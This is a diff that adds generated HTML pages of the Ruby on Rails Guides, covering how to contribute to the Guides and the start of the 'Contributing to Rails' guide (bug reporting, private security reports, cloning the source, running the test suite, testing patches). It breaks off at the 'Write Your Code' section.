+              <dd><a href="security.html">Securing Rails Applications</a></dd>
+              <dd><a href="debugging_rails_applications.html">Debugging Rails Applications</a></dd>
+              <dd><a href="performance_testing.html">Performance Testing Rails Applications</a></dd>
+              <dd><a href="configuring.html">Configuring Rails Applications</a></dd>
+              <dd><a href="command_line.html">Rails Command Line Tools and Rake Tasks</a></dd>
+              <dd><a href="caching_with_rails.html">Caching with Rails</a></dd>
+
+              <dt>Extending Rails</dt>
+              <dd><a href="plugins.html">The Basics of Creating Rails Plugins</a></dd>
+              <dd><a href="rails_on_rack.html">Rails on Rack</a></dd>
+              <dd><a href="generators.html">Creating and Customizing Rails Generators</a></dd>
+
+              <dt>Contributing to Rails</dt>
+              <dd><a href="contributing_to_rails.html">Contributing to Rails</a></dd>
+              <dd><a href="api_documentation_guidelines.html">API Documentation Guidelines</a></dd>
+              <dd><a href="ruby_on_rails_guides_guidelines.html">Ruby on Rails Guides Guidelines</a></dd>
+
+              <dt>Release Notes</dt>
+              <dd><a href="3_0_release_notes.html">Ruby on Rails 3.0 Release Notes</a></dd>
+              <dd><a href="2_3_release_notes.html">Ruby on Rails 2.3 Release Notes</a></dd>
+              <dd><a href="2_2_release_notes.html">Ruby on Rails 2.2 Release Notes</a></dd>
+            </dl>
+          </div>
+        </li>
+        <li><a href="contribute.html">Contribute</a></li>
+        <li><a href="credits.html">Credits</a></li>
+      </ul>
+    </div>
+  </div>
+  <hr class="hide" />
+
+  <div id="feature">
+    <div class="wrapper">
+      <h2>Contribute to the Rails Guides</h2>
+<p>Rails Guides aim to improve the Rails documentation and to make the barrier to entry as low as possible. A reasonably experienced developer should be able to use the Guides to come up to speed on Rails quickly. You can track the overall effort at the <a href="http://rails.lighthouseapp.com/projects/16213-rails-guides/tickets">Rails Guides Lighthouse</a>. Our sponsors have contributed prizes for those who write an entire guide, but there are many other ways to contribute.</p>
+
+            <div id="subCol">
+        <h3 class="chapter"><img src="images/chapters_icon.gif" alt="" />Chapters</h3>
+        <ol class="chapters">
+<li><a href="#how-to-contribute">How to Contribute?</a></li><li><a href="#what-to-contribute">What to Contribute?</a></li><li><a href="#how-is-the-process">How is the process?</a></li><li><a href="#prizes">Prizes</a></li><li><a href="#rules">Rules</a></li><li><a href="#translations">Translations</a></li><li><a href="#mailing-list">Mailing List</a></li><li><a href="#contact">Contact</a></li></ol></div>
+    </div>
+  </div>
+
+  <div id="container">
+    <div class="wrapper">
+      <div id="mainCol">
+        <h3 id="how-to-contribute">1 How to Contribute?</h3>
+<ul>
+	<li>We have an open commit policy: anyone is welcome to contribute and to review contributions.</li>
+	<li><a href="http://github.com/lifo/docrails">docrails is hosted on GitHub</a> and has public write access.</li>
+	<li>Guides are written in Textile, and reside at <tt>railties/guides/source</tt> in the docrails project.</li>
+	<li>Follow the <a href="http://wiki.github.com/lifo/docrails/rails-guides-conventions">Rails Guides Conventions</a>.</li>
+	<li>Assets are stored in the <tt>railties/guides/assets</tt> directory.</li>
+	<li>Sample format : <a href="http://github.com/lifo/docrails/blob/3e56a3832415476fdd1cb963980d0ae390ac1ed3/railties/guides/source/association_basics.textile">Active Record Associations</a>.</li>
+	<li>Sample output : <a href="association_basics.html">Active Record Associations</a>.</li>
+	<li>You can build the Guides during testing by running <tt>rake generate_guides</tt> in the <tt>railties</tt> directory.</li>
+	<li>You&#8217;re encouraged to validate <span class="caps">XHTML</span> for the generated guides before commiting your changes by running <tt>rake validate_guides</tt> in the <tt>railties</tt> directory.</li>
+	<li>Edge guides <a href="http://edgeguides.rubyonrails.org/">can be consulted online</a>. That website is generated periodically from docrails.</li>
+</ul>
+<h3 id="what-to-contribute">2 What to Contribute?</h3>
+<ul>
+	<li>We need authors, editors, proofreaders, and translators. Adding a single paragraph of quality content to a guide is a good way to get started.</li>
+	<li>The easiest way to start is by improving an existing guide:
+	<ul>
+		<li>Improve the structure to make it more coherent.</li>
+		<li>Add missing information.</li>
+		<li>Correct any factual errors.</li>
+		<li>Fix typos or improve style.</li>
+		<li>Bring it up to date with the latest Edge Rails.</li>
+	</ul></li>
+	<li>We&#8217;re also open to suggestions for entire new guides:
+	<ul>
+		<li>Contact lifo or fxn to get your idea approved. See the Contact section below.</li>
+		<li>If you&#8217;re the main author on a significant guide, you&#8217;re eligible for the prizes.</li>
+	</ul></li>
+</ul>
+<h3 id="how-is-the-process">3 How is the process?</h3>
+<ul>
+	<li>The preferred way to contribute is to commit to docrails directly.</li>
+	<li>A new guide is only edited by its author until finished though. In that case feedback can be given in its LH ticket.</li>
+	<li>If you are writing a new guide freely commit to docrails partial work and ping lifo or fxn when done with a first draft.</li>
+	<li>Guides reviewers will then provide feedback, some of it possibly in form of direct commits to agilize the process.</li>
+	<li>Eventually the guide will be approved and added to the index.</li>
+</ul>
+<h3 id="prizes">4 Prizes</h3>
+<p>For each completed guide, the lead contributor will receive all of the following prizes:</p>
+<ul>
+	<li>$200 from Caboose Rails Documentation Project.</li>
+	<li>1 year of GitHub Micro account worth $84.</li>
+	<li>1 year of <span class="caps">RPM</span> Basic (Production performance management) for up to 10 hosts worth 12 months x $40 per host x 10 hosts = $4800. And also, savings of $45 per host per month over list price to upgrade to advanced product.</li>
+</ul>
+<h3 id="rules">5 Rules</h3>
+<ul>
+	<li>Guides are licensed under a Creative Commons Attribution-Share Alike 3.0 License.</li>
+	<li>If you&#8217;re not sure whether a guide is actively being worked on, stop by <span class="caps">IRC</span> and ask.</li>
+	<li>If the same guide writer wants to write multiple guides, that&#8217;s ideally the situation we&#8217;d love to be in! However, that guide writer will only receive the cash prize for all the subsequent guides (and not the GitHub or <span class="caps">RPM</span> prizes).</li>
+	<li>Our review team will have the final say on whether the guide is complete and of good enough quality.</li>
+</ul>
+<p>All authors should read and follow the <a href="http://wiki.github.com/lifo/docrails/rails-guides-conventions">Rails Guides Conventions</a> and the <a href="http://wiki.github.com/lifo/docrails/rails-api-documentation-conventions">Rails <span class="caps">API</span> Documentation Conventions</a>.</p>
+<h3 id="translations">6 Translations</h3>
+<p>The translation effort for the Rails Guides is just getting underway. We know about projects to translate the Guides into Spanish, Portuguese, Polish, and French. For more details or to get involved see the <a href="http://wiki.github.com/lifo/docrails/translating-rails-guides">Translating Rails Guides</a> page.</p>
+<h3 id="mailing-list">7 Mailing List</h3>
+<p><a href="http://groups.google.com/group/rubyonrails-docs">Ruby on Rails: Documentation</a> is the mailing list for all the guides/documentation related discussions.</p>
+<h3 id="contact">8 Contact</h3>
+<ul>
+	<li><span class="caps">IRC</span> : #docrails channel in irc.freenode.net</li>
+	<li>Twitter: <a href="http://twitter.com/docrails">@docrails</a>, <a href="http://twitter.com/lifo">@lifo</a>, <a href="http://twitter.com/fxn">@fxn</a></li>
+	<li>Email : pratiknaik aT gmail, fxn aT hashref dot com</li>
+</ul>
+      </div>
+    </div>
+  </div>
+
+  <hr class="hide" />
+  <div id="footer">
+    <div class="wrapper">
+      <p>This work is licensed under a <a href="http://creativecommons.org/licenses/by-sa/3.0/">Creative Commons Attribution-Share Alike 3.0</a> License</p>
+      <p>"Rails", "Ruby on Rails", and the Rails logo are trademarks of David Heinemeier Hansson. All rights reserved.</p>
+    </div>
+  </div>
+
+  <script type="text/javascript" src="javascripts/guides.js"></script>
+  <script type="text/javascript" src="javascripts/syntaxhighlighter/shCore.js"></script>
+  <script type="text/javascript" src="javascripts/syntaxhighlighter/shBrushRuby.js"></script>
+  <script type="text/javascript" src="javascripts/syntaxhighlighter/shBrushXml.js"></script>
+  <script type="text/javascript" src="javascripts/syntaxhighlighter/shBrushSql.js"></script>
+  <script type="text/javascript" src="javascripts/syntaxhighlighter/shBrushPlain.js"></script>
+  <script type="text/javascript">
+    SyntaxHighlighter.all()
+  </script>
+</body>
+</html>
doc/guides/contributing_to_rails.html
@@ -0,0 +1,410 @@
+<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN"
+    "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
+
+<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
+<head>
+<meta http-equiv="Content-Type" content="text/html; charset=utf-8"/>
+
+<title>Ruby on Rails Guides: Contributing to Rails</title>
+
+<link rel="stylesheet" type="text/css" href="stylesheets/style.css" />
+<link rel="stylesheet" type="text/css" href="stylesheets/print.css" media="print" />
+
+<link rel="stylesheet" type="text/css" href="stylesheets/syntaxhighlighter/shCore.css" />
+<link rel="stylesheet" type="text/css" href="stylesheets/syntaxhighlighter/shThemeRailsGuides.css" />
+</head>
+<body class="guide">
+  <div id="topNav">
+    <div class="wrapper">
+      <strong>More at <a href="http://rubyonrails.org/">rubyonrails.org:</a> </strong>
+      <a href="http://rubyonrails.org/">Overview</a> |
+      <a href="http://rubyonrails.org/download">Download</a> |
+      <a href="http://rubyonrails.org/deploy">Deploy</a> |
+      <a href="http://rails.lighthouseapp.com/projects/8994-ruby-on-rails/overview">Code</a> |
+      <a href="http://rubyonrails.org/screencasts">Screencasts</a> |
+      <a href="http://rubyonrails.org/documentation">Documentation</a> |
+      <a href="http://rubyonrails.org/ecosystem">Ecosystem</a> |
+      <a href="http://rubyonrails.org/community">Community</a> |
+      <a href="http://weblog.rubyonrails.org/">Blog</a>
+    </div>
+  </div>
+  <div id="header">
+    <div class="wrapper clearfix">
+      <h1><a href="index.html" title="Return to home page">Guides.rubyonrails.org</a></h1>
+      <p class="hide"><a href="#mainCol">Skip navigation</a>.</p>
+      <ul class="nav">
+        <li><a href="index.html">Home</a></li>
+        <li class="index"><a href="index.html" onclick="guideMenu(); return false;" id="guidesMenu">Guides Index</a>
+          <div id="guides" class="clearfix" style="display: none;">
+            <hr />
+            <dl class="L">
+              <dt>Start Here</dt>
+              <dd><a href="getting_started.html">Getting Started with Rails</a></dd>
+              <dt>Models</dt>
+              <dd><a href="migrations.html">Rails Database Migrations</a></dd>
+              <dd><a href="active_record_validations_callbacks.html">Active Record Validations and Callbacks</a></dd>
+              <dd><a href="association_basics.html">Active Record Associations</a></dd>
+              <dd><a href="active_record_querying.html">Active Record Query Interface</a></dd>
+              <dt>Views</dt>
+              <dd><a href="layouts_and_rendering.html">Layouts and Rendering in Rails</a></dd>
+              <dd><a href="form_helpers.html">Action View Form Helpers</a></dd>
+              <dt>Controllers</dt>
+              <dd><a href="action_controller_overview.html">Action Controller Overview</a></dd>
+              <dd><a href="routing.html">Rails Routing from the Outside In</a></dd>
+            </dl>
+            <dl class="R">
+              <dt>Digging Deeper</dt>
+              <dd><a href="active_support_core_extensions.html">Active Support Core Extensions</a></dd>
+              <dd><a href="i18n.html">Rails Internationalization API</a></dd>
+              <dd><a href="action_mailer_basics.html">Action Mailer Basics</a></dd>
+              <dd><a href="testing.html">Testing Rails Applications</a></dd>
+              <dd><a href="security.html">Securing Rails Applications</a></dd>
+              <dd><a href="debugging_rails_applications.html">Debugging Rails Applications</a></dd>
+              <dd><a href="performance_testing.html">Performance Testing Rails Applications</a></dd>
+              <dd><a href="configuring.html">Configuring Rails Applications</a></dd>
+              <dd><a href="command_line.html">Rails Command Line Tools and Rake Tasks</a></dd>
+              <dd><a href="caching_with_rails.html">Caching with Rails</a></dd>
+
+              <dt>Extending Rails</dt>
+              <dd><a href="plugins.html">The Basics of Creating Rails Plugins</a></dd>
+              <dd><a href="rails_on_rack.html">Rails on Rack</a></dd>
+              <dd><a href="generators.html">Creating and Customizing Rails Generators</a></dd>
+
+              <dt>Contributing to Rails</dt>
+              <dd><a href="contributing_to_rails.html">Contributing to Rails</a></dd>
+              <dd><a href="api_documentation_guidelines.html">API Documentation Guidelines</a></dd>
+              <dd><a href="ruby_on_rails_guides_guidelines.html">Ruby on Rails Guides Guidelines</a></dd>
+
+              <dt>Release Notes</dt>
+              <dd><a href="3_0_release_notes.html">Ruby on Rails 3.0 Release Notes</a></dd>
+              <dd><a href="2_3_release_notes.html">Ruby on Rails 2.3 Release Notes</a></dd>
+              <dd><a href="2_2_release_notes.html">Ruby on Rails 2.2 Release Notes</a></dd>
+            </dl>
+          </div>
+        </li>
+        <li><a href="contribute.html">Contribute</a></li>
+        <li><a href="credits.html">Credits</a></li>
+      </ul>
+    </div>
+  </div>
+  <hr class="hide" />
+
+  <div id="feature">
+    <div class="wrapper">
+      <h2>Contributing to Rails</h2>
+<p>This guide covers ways in which <em>you</em> can become a part of the ongoing development of Rails. After reading it, you should be familiar with:</p>
+<ul>
+	<li>Using Lighthouse to report issues with Rails</li>
+	<li>Cloning edge Rails and running the test suite</li>
+	<li>Helping to resolve existing issues</li>
+	<li>Contributing to the Rails documentation</li>
+	<li>Contributing to the Rails code</li>
+</ul>
+<p>Rails is not &#8220;someone else&#8217;s framework.&#8221; Over the years, hundreds of people have contributed code ranging from a single character to massive architectural changes, all with the goal of making Rails better for everyone. Even if you don&#8217;t feel up to writing code yet, there are a variety of other ways that you can contribute, from reporting issues to testing patches to contributing documentation.</p>
+
+            <div id="subCol">
+        <h3 class="chapter"><img src="images/chapters_icon.gif" alt="" />Chapters</h3>
+        <ol class="chapters">
+<li><a href="#reporting-a-rails-issue">Reporting a Rails Issue</a><ul><li><a href="#creating-a-bug-report">Creating a Bug Report</a></li> <li><a href="#special-treatment-for-security-issues">Special Treatment for Security Issues</a></li> <li><a href="#what-about-feature-requests">What About Feature Requests?</a></li></ul></li><li><a href="#running-the-rails-test-suite">Running the Rails Test Suite</a><ul><li><a href="#install-git">Install git</a></li> <li><a href="#get-the-rails-source-code">Get the Rails Source Code</a></li> <li><a href="#set-up-and-run-the-tests">Set up and Run the Tests</a></li> <li><a href="#testing-active-record">Testing Active Record</a></li> <li><a href="#older-versions-of-rails">Older versions of Rails</a></li></ul></li><li><a href="#helping-to-resolve-existing-issues">Helping to Resolve Existing Issues</a><ul><li><a href="#verifying-bug-reports">Verifying Bug Reports</a></li> <li><a href="#testing-patches">Testing Patches</a></li></ul></li><li><a href="#contributing-to-the-rails-documentation">Contributing to the Rails Documentation</a><ul><li><a href="#the-rails-guides">The Rails Guides</a></li> <li><a href="#the-rails-api-documentation">The Rails <span class="caps">API</span> Documentation</a></li></ul></li><li><a href="#the-rails-wiki">The Rails Wiki</a></li><li><a href="#contributing-to-the-rails-code">Contributing to the Rails Code</a><ul><li><a href="#learn-the-language-and-the-framework">Learn the Language and the Framework</a></li> <li><a href="#fork-the-rails-source-code">Fork the Rails Source Code</a></li> <li><a href="#write-your-code">Write Your Code</a></li> <li><a href="#follow-the-coding-conventions">Follow the Coding Conventions</a></li> <li><a href="#sanity-check">Sanity Check</a></li> <li><a href="#commit-your-changes">Commit Your Changes</a></li> <li><a href="#update-rails">Update Rails</a></li> <li><a href="#create-a-patch">Create a Patch</a></li> <li><a href="#create-a-lighthouse-ticket">Create a Lighthouse Ticket</a></li> <li><a href="#get-some-feedback">Get Some Feedback</a></li> <li><a href="#iterate-as-necessary">Iterate as Necessary</a></li></ul></li><li><a href="#changelog">Changelog</a></li></ol></div>
+    </div>
+  </div>
+
+  <div id="container">
+    <div class="wrapper">
+      <div id="mainCol">
+        <h3 id="reporting-a-rails-issue">1 Reporting a Rails Issue</h3>
+<p>Rails uses a <a href="http://rails.lighthouseapp.com/projects/8994-ruby-on-rails/">Lighthouse project</a> to track issues (primarily bugs and contributions of new code). If you&#8217;ve found a bug in Rails, this is the place to start. You&#8217;ll need to create a (free) Lighthouse account in order to comment on issues or to upload tests or patches.</p>
+<div class='note'><p>Bugs in the most recent released version of Rails are likely to get the most attention. Also, the Rails core team is always interested in feedback from those who can take the time to test <em>edge Rails</em> (the code for the version of Rails that is currently under development). Later in this Guide you&#8217;ll find out how to get edge Rails for testing.</p></div>
+<h4 id="creating-a-bug-report">1.1 Creating a Bug Report</h4>
+<p>If you&#8217;ve found a problem in Rails, you can start by <a href="http://rails.lighthouseapp.com/projects/8994-ruby-on-rails/tickets/new">adding a new ticket</a> to the Rails Lighthouse. At the minimum, your ticket needs a title and descriptive text. But that&#8217;s only a minimum. You should include as much relevant information as possible. You need to at least post the code sample that has the issue. Even better is to include a unit test that shows how the expected behavior is not occurring. Your goal should be to make it easy for yourself &#8211; and others &#8211; to replicate the bug and figure out a fix.</p>
+<p>You shouldn&#8217;t assign the bug to a particular core developer (through the <strong>Who&#8217;s Responsible</strong> select list) unless you know for sure which developer will be handling any patch. The core team periodically reviews issues and assigns developers and milestones to them.</p>
+<p>You should set tags for your issue. Use the &#8220;bug&#8221; tag for a bug report, and add the &#8220;patch&#8221; tag if you are attaching a patch. Try to find some relevant tags from the existing tag list (which will appear as soon as you start typing in the <strong>Choose some tags</strong> textbox), rather than creating new tags.</p>
+<p>Then don&#8217;t get your hopes up. Unless you have a &#8220;Code Red, Mission Critical, The World is Coming to an End&#8221; kind of bug, you&#8217;re creating this ticket in the hope that others with the same problem will be able to collaborate with you on solving it. Do not expect that the ticket automatically will see any activity or that others will jump to fix it. Creating a ticket like this is mostly to help yourself start on the path of fixing the problem and for others to confirm it with a &#8220;I&#8217;m having this problem too&#8221; comment.</p>
+<h4 id="special-treatment-for-security-issues">1.2 Special Treatment for Security Issues</h4>
+<p>If you&#8217;ve found a security vulnerability in Rails, please do <strong>not</strong> report it via a Lighthouse ticket. Lighthouse tickets are public as soon as they are entered. Instead, you should use the dedicated email address <a href="mailto:security@rubyonrails.org">security@rubyonrails.org</a> to report any vulnerabilities. This alias is monitored and the core team will work with you to quickly and completely address any such vulnerabilities.</p>
+<div class='warning'><p>Just to emphasize the point, <em>please do not report security vulnerabilities on public Lighthouse tickets</em>. This will only expose your fellow Rails developers to needless risks.</p></div>
+<p>You should receive an acknowledgement and detailed response to any reported security issue within 48 hours. If you don&#8217;t think you&#8217;re getting adequate response from the security alias, refer to the <a href="http://rubyonrails.org/security">Rails security policy page</a> for direct emails for the current Rails security coordinators.</p>
+<h4 id="what-about-feature-requests">1.3 What About Feature Requests?</h4>
+<p>Please don&#8217;t put &#8220;feature request&#8221; tickets into Lighthouse. If there&#8217;s a new feature that you want to see added to Rails, you&#8217;ll need to write the code yourself &#8211; or convince someone else to partner with you to write the code. Later in this guide you&#8217;ll find detailed instructions for proposing a patch to Rails. If you enter a wishlist item in Lighthouse with no code, you can expect it to be marked &#8220;invalid&#8221; as soon as it&#8217;s reviewed.</p>
+<h3 id="running-the-rails-test-suite">2 Running the Rails Test Suite</h3>
+<p>To move on from submitting bugs to helping resolve existing issues or contributing your own code to Rails, you <em>must</em> be able to run the Rails test suite. In this section of the guide you&#8217;ll learn how to set up the tests on your own computer.</p>
+<h4 id="install-git">2.1 Install git</h4>
+<p>Rails uses git for source code control. You wonโ€™t be able to do anything without the Rails source code, and this is a prerequisite. The <a href="http://git-scm.com/">git homepage</a> has installation instructions. If youโ€™re on OS X, use the <a href="http://code.google.com/p/git-osx-installer/">Git for OS X</a> installer. If you&#8217;re unfamiliar with git, there are a variety of resources on the net that will help you learn more:</p>
+<ul>
+	<li><a href="http://www.kernel.org/pub/software/scm/git/docs/everyday.html">Everyday Git</a> will teach you just enough about git to get by.</li>
+	<li>The <a href="https://peepcode.com/products/git">PeepCode screencast</a> on git ($9) is easier to follow.</li>
+	<li><a href="http://github.com/guides/home">GitHub</a> offers links to a variety of git resources.</li>
+	<li><a href="http://progit.org/book/">Pro Git</a> is an entire book about git with a Creative Commons license.</li>
+</ul>
+<h4 id="get-the-rails-source-code">2.2 Get the Rails Source Code</h4>
+<p>Donโ€™t fork the main Rails repository. Instead, you want to clone it to your own computer. Navigate to the folder where you want the source code (it will create its own /rails subdirectory) and run:</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: plain; gutter: false; toolbar: false">
+git clone git://github.com/rails/rails.git
+cd rails
+</pre>
+</div>
+</notextile>
+
+<h4 id="set-up-and-run-the-tests">2.3 Set up and Run the Tests</h4>
+<p>All of the Rails tests must pass with any code you submit, otherwise you have no chance of getting code accepted. This means you need to be able to run the tests. First, you need to install all Rails dependencies with bundler:</p>
+<div class='note'><p>Ensure you install bundler v1.0</p></div>
+<notextile>
+<div class="code_container">
+<pre class="brush: plain; gutter: false; toolbar: false">
+gem install bundler
+bundle install --without db
+</pre>
+</div>
+</notextile>
+
+<p>The second command will install all dependencies, except MySQL and PostgreSQL. We will come back at these soon. With dependencies installed, you can run the whole Rails test suite with:</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: plain; gutter: false; toolbar: false">
+rake test
+</pre>
+</div>
+</notextile>
+
+<p>You can also run tests for an specific framework, like Action Pack, by going into its directory and executing the same command:</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: plain; gutter: false; toolbar: false">
+cd actionpack
+rake test
+</pre>
+</div>
+</notextile>
+
+<h4 id="testing-active-record">2.4 Testing Active Record</h4>
+<p>By default, when you run Active Record tests, it will execute the test suite three times, one for each of the main databases: SQLite3, MySQL and PostgreSQL. If you are adding a feature that is not specific to the database, you can run the test suite (or just one file) for just one of them. Here is an example for SQLite3:</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: plain; gutter: false; toolbar: false">
+cd activerecord
+rake test_sqlite3
+rake test_sqlite3 TEST=test/cases/validations_test.rb
+</pre>
+</div>
+</notextile>
+
+<p>If you want to use another database, as MySQL, you need to create a user named <tt>rails</tt> with privileges on the test databases.</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: plain; gutter: false; toolbar: false">
+mysql&gt; GRANT ALL PRIVILEGES ON activerecord_unittest.*
+       to 'rails'@'localhost';
+mysql&gt; GRANT ALL PRIVILEGES ON activerecord_unittest2.*
+       to 'rails'@'localhost';
+</pre>
+</div>
+</notextile>
+
+<p>Then ensure you run bundle install without the <tt>--without db</tt> option:</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: plain; gutter: false; toolbar: false">
+bundle install
+</pre>
+</div>
+</notextile>
+
+<p>Finally, enter this from the <tt>activerecord</tt> directory to create the test databases:</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: plain; gutter: false; toolbar: false">
+rake mysql:build_databases
+</pre>
+</div>
+</notextile>
+
+<div class='note'><p>Using the rake task to create the test databases ensures they have the correct character set and collation.</p></div>
+<p>If youโ€™re using another database, check the files under <tt>activerecord/test/connections</tt> in the Rails source code for default connection information. You can edit these files if you <em>must</em> on your machine to provide different credentials, but obviously you should not push any such changes back to Rails.</p>
+<p>You can now run tests as you did for <tt>sqlite3</tt>:</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: plain; gutter: false; toolbar: false">
+rake test_mysql
+</pre>
+</div>
+</notextile>
+
+<p>You can also <tt>myqsl</tt> with <tt>postgresql</tt>, <tt>jdbcmysql</tt>, <tt>jdbcsqlite3</tt> or <tt>jdbcpostgresql</tt>. Check out the file <tt>activerecord/RUNNING_UNIT_TESTS</tt> for information on running more targeted database tests, or the file <tt>ci/ci_build.rb</tt> to see the test suite that the Rails continuous integration server runs.</p>
+<div class='note'><p>If you&#8217;re working with Active Record code, you <em>must</em> ensure that the tests pass for at least MySQL, PostgreSQL, and SQLite 3. Subtle differences between the various Active Record database adapters have been behind the rejection of many patches that looked OK when tested only against MySQL.</p></div>
+<h4 id="older-versions-of-rails">2.5 Older versions of Rails</h4>
+<p>If you want to work add a fix to older versions of Rails, you&#8217;ll need to set up and switch to your own local tracking branch. Here is an example to switch to Rails 2.3 branch:</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: plain; gutter: false; toolbar: false">
+git branch --track 2-3-stable origin/2-3-stable
+git checkout 2-3-stable
+</pre>
+</div>
+</notextile>
+
+<div class='info'><p>You may want to <a href="http://github.com/guides/put-your-git-branch-name-in-your-shell-prompt">put your git branch name in your shell prompt</a> to make it easier to remember which version of the code you&#8217;re working with.</p></div>
+<h3 id="helping-to-resolve-existing-issues">3 Helping to Resolve Existing Issues</h3>
+<p>As a next step beyond reporting issues, you can help the core team resolve existing issues. If you check the <a href="https://rails.lighthouseapp.com/projects/8994-ruby-on-rails/tickets?q=state%3Aopen">open tickets</a> list in Lighthouse, you&#8217;ll find hundreds of issues already requiring attention. What can you do for these? Quite a bit, actually:</p>
+<h4 id="verifying-bug-reports">3.1 Verifying Bug Reports</h4>
+<p>For starters, it helps to just verify bug reports. Can you reproduce the reported issue on your own computer? If so, you can add a comment to the ticket saying that you&#8217;re seeing the same thing.</p>
+<p>If something is very vague, can you help squish it down into something specific? Maybe you can provide additional information to help reproduce a bug, or eliminate needless steps that aren&#8217;t required to help demonstrate the problem.</p>
+<p>If you find a bug report without a test, it&#8217;s very useful to contribute a failing test. This is also a great way to get started exploring the Rails source: looking at the existing test files will teach you how to write more tests for Rails. New tests are best contributed in the form of a patch, as explained later on in the &#8220;Contributing to the Rails Code&#8221; section.</p>
+<p>Anything you can do to make bug reports more succinct or easier to reproduce is a help to folks trying to write code to fix those bugs &#8211; whether you end up writing the code yourself or not.</p>
+<h4 id="testing-patches">3.2 Testing Patches</h4>
+<p>You can also help out by examining patches that have been submitted to Rails via Lighthouse. To apply someone&#8217;s changes you need to first create a branch of the Rails source code:</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: plain; gutter: false; toolbar: false">
+git checkout -b testing_branch
+</pre>
+</div>
+</notextile>
+
+<p>Then you can apply their patch:</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: plain; gutter: false; toolbar: false">
+git apply their-patch-file.diff
+</pre>
+</div>
+</notextile>
+
+<p>After applying a patch, test it out! Here are some things to think about:</p>
+<ul>
+	<li>Does the patch actually work?</li>
+	<li>Are you happy with the tests? Can you follow what they&#8217;re testing? Are there any tests missing?</li>
+	<li>Does the documentation still seem right to you?</li>
+	<li>Do you like the implementation? Can you think of a nicer or faster way to implement a part of their change?</li>
+</ul>
+<p>Once you&#8217;re happy that the patch contains a good change, comment on the Lighthouse ticket indicating your approval. Your comment should indicate that you like the change and what you like about it. Something like:</p>
+<blockquote>
+<p>I like the way you&#8217;ve restructured that code in generate_finder_sql, much nicer. The tests look good too.</p>
+</blockquote>
+<p>If your comment simply says &#8220;+1&#8221;, then odds are that other reviewers aren&#8217;t going to take it too seriously. Show that you took the time to review the patch. Once three people have approved it, add the &#8220;verified&#8221; tag. This will bring it to the attention of a core team member who will review the changes looking for the same kinds of things.</p>
+<h3 id="contributing-to-the-rails-documentation">4 Contributing to the Rails Documentation</h3>
+<p>Another area where you can help out if you&#8217;re not yet ready to take the plunge to writing Rails core code is with Rails documentation. You can help with the Rails Guides or the Rails <span class="caps">API</span> documentation.</p>
+<div class='info'><p><a href="http://github.com/lifo/docrails/tree/master">docrails</a> is the documentation branch for Rails with an <strong>open commit policy</strong>. You can simply PM <a href="http://github.com/lifo">lifo</a> on Github and ask for the commit rights. Documentation changes made as part of the <a href="http://github.com/lifo/docrails/tree/master">docrails</a> project are merged back to the Rails master code from time to time. Check out the <a href="http://weblog.rubyonrails.org/2008/5/2/help-improve-rails-documentation-on-git-branch">original announcement</a> for more details.</p></div>
+<h4 id="the-rails-guides">4.1 The Rails Guides</h4>
+<p>The <a href="http://guides.rubyonrails.org/">Rails Guides</a> are a set of online resources that are designed to make people productive with Rails and to understand how all of the pieces fit together. These guides (including this one!) are written as part of the <a href="http://github.com/lifo/docrails/tree/master">docrails</a> project. If you have an idea for a new guide, or improvements for an existing guide, you can refer to the <a href="contribute.html">contribution page</a> for instructions on getting involved.</p>
+<h4 id="the-rails-api-documentation">4.2 The Rails <span class="caps">API</span> Documentation</h4>
+<p>The <a href="http://api.rubyonrails.org/">Rails <span class="caps">API</span> documentation</a> is automatically generated from the Rails source code via <a href="http://rdoc.rubyforge.org/">RDoc</a>. If you find some part of the documentation to be incomplete, confusing, or just plain wrong, you can step in and fix it.</p>
+<p>To contribute an update to the <span class="caps">API</span> documentation, you can contact <a href="http://github.com/lifo">lifo</a> on GitHub and ask for commit rights to the docrails repository and push your changes to the docrails repository. Please follow the <a href="http://wiki.github.com/lifo/docrails/rails-api-documentation-conventions">docrails RDoc conventions</a> when contributing the changes.</p>
+<h3 id="the-rails-wiki">5 The Rails Wiki</h3>
+<p>The <a href="http://wiki.rubyonrails.org/">Rails wiki</a> is a collection of user-generated and freely-editable information about Rails. It covers everything from getting started to FAQs to how-tos and popular plugins. To contribute to the wiki, just find some useful information that isn&#8217;t there already and add it. There are style guidelines to help keep the wiki a coherent resources; see the section on <a href="http://wiki.rubyonrails.org/#contributing_to_the_wiki">contributing to the wiki</a> for more details.</p>
+<h3 id="contributing-to-the-rails-code">6 Contributing to the Rails Code</h3>
+<p>When you&#8217;re ready to take the plunge, one of the most helpful ways to contribute to Rails is to actually submit source code. Here&#8217;s a step-by-step listing of the things you need to do to make this a successful experience.</p>
+<h4 id="learn-the-language-and-the-framework">6.1 Learn the Language and the Framework</h4>
+<p>Learn at least <em>something</em> about Ruby and Rails. If you donโ€™t understand the syntax of the language, common Ruby idioms, and the code that already exists in Rails, youโ€™re unlikely to be able to build a good patch (that is, one that will get accepted). You donโ€™t have to know every in-and-out of the language and the framework; some of the Rails code is fiendishly complex. But Rails is probably not appropriate as the first place that you ever write Ruby code. You should at least understand (though not necessarily memorize) <a href="http://www.amazon.com/gp/product/0596516177?ie=UTF8&amp;linkCode=as2&amp;camp=1789&amp;creative=390957&amp;creativeASIN=0596516177">The Ruby Programming Language</a> and have browsed the Rails source code.</p>
+<h4 id="fork-the-rails-source-code">6.2 Fork the Rails Source Code</h4>
+<p>Fork Rails. Youโ€™re not going to put your patches right into the master branch, OK? This is where you need that copy of Rails that you cloned earlier. Think of a name for your new branch and run</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: plain; gutter: false; toolbar: false">
+git checkout -b my_new_branch
+</pre>
+</div>
+</notextile>
+
+<p>It doesnโ€™t really matter what name you use, because this branch will only exist on your local computer.</p>
+<h4 id="write-your-code">6.3 Write Your Code</h4>
